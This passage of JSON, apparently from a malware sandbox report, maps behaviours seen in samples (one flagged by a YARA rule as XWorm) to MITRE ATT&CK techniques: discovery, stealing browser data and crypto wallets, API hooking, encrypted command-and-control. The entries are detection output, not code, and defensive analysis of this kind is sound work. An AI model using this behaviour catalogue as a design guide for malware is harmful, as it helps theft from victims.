information"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Found registry location strings in memory"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Able to retrieve security identifier (.NET)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Able to find string content in a file"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"References Video COM interface string"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"suspicious","value":"Calls an API typically used to retrieve the host name of a computer"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Able to retrieve running process details (.NET)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Able to list processes on remote desktop session host"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language"},{"type":"informative","value":"Able to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to retrieve network adapter information (.NET)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to retrieve system network configuration"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Able to enumerate service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"},{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"},{"type":"malicious","value":"Executes WMI queries in order to detect local security applications"},{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Creates directory on disk"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"malicious","value":"Attempts to steal desktop application's information (file access)"},{"type":"informative","value":"Found browser information locations related strings"},{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Contains ability to copy files (API string)"},{"type":"malicious","value":"Tries to steal crypto wallet extension (file access)"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"malicious","value":"Tries to steal Crypto currency wallets information (file access)"},{"type":"malicious","value":"Known malware detected"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to monitor clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"},{"type":"informative","value":"Able to perform SQL operations"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops files with image extension"},{"type":"informative","value":"Drops temp files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Able to download remote files using web shell script"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Identifies external resources in HTML content"},{"type":"informative","value":"Found user-agent related strings"},{"type":"suspicious","value":"Attempts to call internet-related API for network communication"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Remote Access Tools","attack_id":"T1219","attack_id_wiki":"https://attack.mitre.org/techniques/T1219","identifiers":[{"type":"informative","value":"Able to use IDE tunneling for remote connection"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Steganography","attack_id":"T1001.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1001/002","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Initial Access","technique":"Drive-by Compromise","attack_id":"T1189","attack_id_wiki":"https://attack.mitre.org/techniques/T1189","identifiers":[{"type":"informative","value":"Possible heap spraying attempt detected"}],"sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"malicious","value":"Hooks file system APIs"},{"type":"malicious","value":"Hooks internet related APIs"},{"type":"malicious","value":"Hooks key cryptographic functions of the CryptoAPI"}],"sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"}],"sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"YARA signature match - Malware.XWorm"},{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"},{"type":"malicious","value":"The analysis spawned a process that was identified 